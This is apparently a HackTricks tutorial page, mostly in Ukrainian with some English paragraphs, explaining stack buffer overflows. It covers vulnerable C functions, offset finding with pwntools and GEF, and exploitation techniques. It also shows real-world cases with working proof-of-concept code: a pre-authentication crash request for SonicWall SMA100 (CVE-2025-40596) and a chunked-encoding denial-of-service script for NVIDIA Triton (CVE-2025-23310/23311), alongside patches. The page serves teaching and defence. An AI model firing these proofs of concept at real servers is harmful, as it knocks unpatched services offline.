Переповнення стеку

Reading time: 10 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке переповнення стеку

A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.

Переповнення стеку — це вразливість, що виникає, коли програма записує в стек більше даних, ніж йому виділено. Ці зайві дані перезаписують сусідні області пам'яті, що призводить до пошкодження коректних даних, порушення потоку керування та, можливо, виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж введення.

The main problem of this overwrite is that the saved instruction pointer (EIP/RIP) and the saved base pointer (EBP/RBP) to return to the previous function are stored on the stack. Therefore, an attacker will be able to overwrite those and control the execution flow of the program.

Головна проблема такого перезапису в тому, що збережений вказівник інструкцій (EIP/RIP) і збережений базовий вказівник (EBP/RBP), які використовуються для повернення до попередньої функції, зберігаються у стеку. Тому атакуючий може перезаписати їх і контролювати потік виконання програми.

The vulnerability usually arises because a function copies inside the stack more bytes than the amount allocated for it, therefore being able to overwrite other parts of the stack.

Вразливість зазвичай виникає через те, що функція копіює в стек більше байтів, ніж їй виділено, і таким чином може перезаписати інші частини стеку.

Some common functions vulnerable to this are: strcpy, strcat, sprintf, gets... Also, functions like fgets , read & memcpy that take a length argument, might be used in a vulnerable way if the specified length is greater than the allocated one.

Деякі поширені функції, вразливі до цього: strcpy, strcat, sprintf, gets... Також функції на кшталт fgets, read і memcpy, які приймають аргумент довжини, можуть використовуватися небезпечно, якщо вказана довжина більша за виділену.

For example, the following functions could be vulnerable:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Finding Stack Overflows offsets

Найпоширеніший спосіб виявити stack overflows — подати дуже великий ввід As (наприклад, python3 -c 'print("A"*1000)') і очікувати Segmentation Fault, що вказує на те, що було спробовано звернутися до адреси 0x41414141.

Більше того, коли ви виявили, що є Stack Overflow vulnerability, потрібно буде знайти offset до того місця, де можна overwrite the return address; для цього зазвичай використовують De Bruijn sequence. Для заданої абетки розміру k і підпослідовностей довжини n це циклічна послідовність, у якій кожна можлива підпослідовність довжини n трапляється рівно один раз як суміжна підпослідовність.

Таким чином, замість того, щоб вгадувати вручну, який offset потрібен для контролю EIP, можна використати одну з цих послідовностей як padding, а потім знайти offset байтів, які в результаті її перезаписали.

Для цього можна використати pwntools:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

або GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Експлуатація переповнень стеку

Під час переповнення (за умови, що розмір переповнення достатньо великий) ви зможете перезаписати значення локальних змінних у стеку до моменту досягнення збережених EBP/RBP and EIP/RIP (or even more).
Найпоширеніший спосіб використати таку вразливість — змінити адресу повернення, щоб коли функція завершиться потік виконання було перенаправлено туди, куди вказано у цьому вказівнику.

Проте в інших сценаріях іноді достатньо просто перезаписати деякі значення змінних у стеку для експлуатації (наприклад, у простих CTF-завданнях).

Ret2win

У такого роду CTF-завданнях у бінарному файлі є функція, яка ніколи не викликається, але яку потрібно викликати, щоб перемогти. Для таких задач потрібно лише знайти зсув для перезапису адреси повернення і знайти адресу функції, яку викликати (зазвичай ASLR вимкнений), тож коли вразлива функція повернеться, прихована функція буде викликана:

Ret2win

Stack Shellcode

У цьому сценарії атакуючий може розмістити shellcode у стеку та скористатися контрольованим EIP/RIP, щоб перейти до shellcode і виконати довільний код:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

На 32-бітних Windows переповнення може перезаписати ланцюжок Structured Exception Handler (SEH) замість збереженої адреси повернення. Експлуатація зазвичай замінює вказівник SEH на POP POP RET gadget і використовує 4-байтове поле nSEH для короткого переходу, щоб повернутися у великий буфер, де знаходиться shellcode. Поширений патерн — короткий jmp у nSEH, який приземляється на 5-байтовий near jmp, розташований безпосередньо перед nSEH, щоб здійснити стрибок на сотні байтів назад до початку payload.

Windows Seh Overflow

ROP & Ret2... techniques

Ця техніка є базовим підходом для обходу основного захисту попереднього підходу: No executable stack (NX). Вона також дозволяє застосовувати інші техніки (ret2lib, ret2syscall...), які в кінцевому підсумку виконують довільні команди, використовуючи наявні інструкції в бінарному файлі:

ROP & JOP

Heap Overflows

Переповнення не завжди відбувається у стеку, воно також може бути в heap, наприклад:

Heap Overflow

Types of protections

Існує кілька механізмів захисту, що намагаються запобігти експлуатації вразливостей, перегляньте їх у:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Добре підтвердження того, чому sscanf ніколи не слід довіряти для розбору ненадійного вводу з'явилося у 2025 році в SonicWall’s SMA100 SSL-VPN appliance. Уразлива рутина всередині /usr/src/EasyAccess/bin/httpd намагається витягти версію та endpoint з будь-якого URI, що починається з /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. The first conversion (%2s) safely stores two bytes into version (e.g. "v1").
  2. The second conversion (%s) has no length specifier, therefore sscanf will keep copying until the first NUL byte.
  3. Because endpoint is located on the stack and is 0x800 bytes long, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the stack canary and the saved return address.

Достатньо однорядкового proof-of-concept, щоб викликати crash before authentication:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Навіть якщо stack canaries припиняють процес, нападник усе ще отримує примітив Denial-of-Service (а з додатковими information leaks — можлива й code-execution). Урок простий:

  • Завжди вказуйте максимальну ширину поля (наприклад %511s).
  • Віддавайте перевагу безпечнішим альтернативам, таким як snprintf/strncpy_s.

Приклад з реального життя: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) містив кілька stack-based overflows, доступних через його HTTP API. Уразливий шаблон неодноразово з'являвся в http_server.cc та sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) повертає кількість внутрішніх сегментів буфера, які складають поточне HTTP тіло запиту.
  2. Кожен сегмент спричиняє виділення 16-byte evbuffer_iovec на stack через alloca()без жодних верхніх обмежень.
  3. Зловживаючи HTTP chunked transfer-encoding, клієнт може змусити запит бути розбитим на сотні тисяч 6-byte chunks ("1\r\nA\r\n"). Це змушує n необмежено зростати, поки stack не вичерпається.

Демонстрація концепції (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Запит розміром ~3 MB достатній, щоб перезаписати збережену адресу повернення та crash демон у збірці за замовчуванням.

Патч і пом'якшення

Реліз 25.07 замінює unsafe stack allocation на heap-backed std::vector та коректно обробляє std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Уроки:

  • Ніколи не викликайте alloca() з attacker-controlled sizes.
  • Chunked requests можуть істотно змінювати форму буферів на стороні сервера.
  • Перевіряйте та обмежуйте будь-яке значення, отримане з вхідних даних клієнта, перед тим як використовувати його при виділенні пам'яті.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks